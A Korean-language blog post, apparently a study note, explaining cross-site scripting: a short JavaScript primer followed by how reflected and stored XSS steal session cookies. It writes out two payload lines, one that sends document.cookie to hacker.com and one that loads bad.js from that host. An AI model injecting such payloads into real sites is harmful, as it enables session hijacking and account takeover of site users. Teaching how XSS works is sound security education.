[웹해킹] XSS 공격이란?

XSS 공격은 자바스크립트와 밀접한 관련이 있다.
자바스크립트에 대해 잠깐 살펴보자.


자바스크립트
· 웹 애플리케이션에서 사용되는 언어
- HTML : 텍스트, 이미지 등 정적인 내용을 표시
 - 자바스크립트 : 동적인 기능 구현(마우스를 가져가면 메뉴의 색깔이 변함)

· <script>스크립트코드</script> 와 같이 구현
- <script>document.location='http://hacker.com/cookie?'+document.cookie</script>
=> 이 코드는 쿠키를 빼내는 데 사용 할 수 있다. 쿠키에는 세션 정보가 포함되어 있는데 document.cookie를 실행하면 그 값을 읽을 수 있다. document.location 을 이용하면 외부의 사이트로 전달 할 수 있다.
- <script src=http://hacker.com/bad.js></script>
=> 자바 스크립트는 파일 인클루전 공격과 유사하게 src 소스 키워드를 이용하여 외부의 자바 스크립트를 페이지 내에 삽입시켜 실행 할 수 있다. 이를 이용해 외부 해커 사이트에 올려둔 악성 스크립트를 실행 할 수 있다.

 


XSS 공격
XSS 공격은 자바 스크립트와 같은 스크립트 코드를 취약한 웹 애플리케이션을 통해 다른 사용자에게 전달하여 클라이언트쪽 웹 브라우저를 공격 하는 기법이다.
다음과 같은 경우를 생각해보자. 어떤 웹 애플리케이션이 앵무새 처럼 사용자가 '안녕 ' 이라고 입력하면 '안녕' 이라고 출력 하는 경우에 아무런 대응 장치가 없으면 스크립트 태그와 함께 스크립트 코드를 입력하면 스크립트가 그대로 출력되게 된다. 웹 브라우저 입장에서는 스크립트 코드의 출처를 알 수 없기 때문에 코드를 실행하게 된다. 이와 같이 스크립트 코드를 삽입하여 다른 사용자 브라우저에서 실행되도록 하는 것을 XSS 공격이라고 한다.

XSS 공격은 크게 두 가지로 분류 할 수 있는데 첫 번째로 Reflected XSS 공격이 있다.
Reflected는 script를 반사하기 때문에 붙여진 이름이다. 먼저 해커가 CSRF 공격 때와 마찬가지로 사용자에게 이메일 등으로 피싱한다. 이 링크에는 세션쿠키를 탈취하는 script 코드를 심어 놓는다.

 

사용자가 이 링크를 클릭하게 되면 스크립트코드가 삽입된 요청이 웹 서버로 전송된다.

 



이 때, 앵무새 같은 웹 애플리케이션은 스크립트 코드를 반사시켜 그대로 되돌려 준다. 그러면 웹 브라우저는 자동으로 스크립트 코드를 실행하게 되고 쿠키를 해커에게 잘 배달해 준다.

 

 


해커가 이 세션쿠키를 사용하면 해당 사용자의 권한으로 접속 할 수 있다.

 

 



두 번째로 Stored XSS 공격이 있다.
script 코드가 바로 반사되는 것이 아니라 한 번 저장되었다가 나중에 실행된다. 해커가 피싱을 하는 것이 아니라 서버의 게시판이나 방명록 같은 곳에 글을 남긴다. 스크립트 코드를 남기는 것이 허용 되어 있으면 스크립트 코드를 남길 수 있다.

 

 



이후에 다른 사용자가 방명록을 방문하여 해커가 남긴 글을 읽게 되면 이 때 글에 저장되어 있는 스크립트 코드가 사용자에게로 전달되고 웹 브라우저는 자동으로 실행한다. 여기서는 Reflected XSS 공격과 마찬가지로 세션 쿠키가 전달되고 해커는 그것을 이용해서 사용자 권한으로 접속 할 수 있다.

 

 

댓글

Designed by JB FACTORY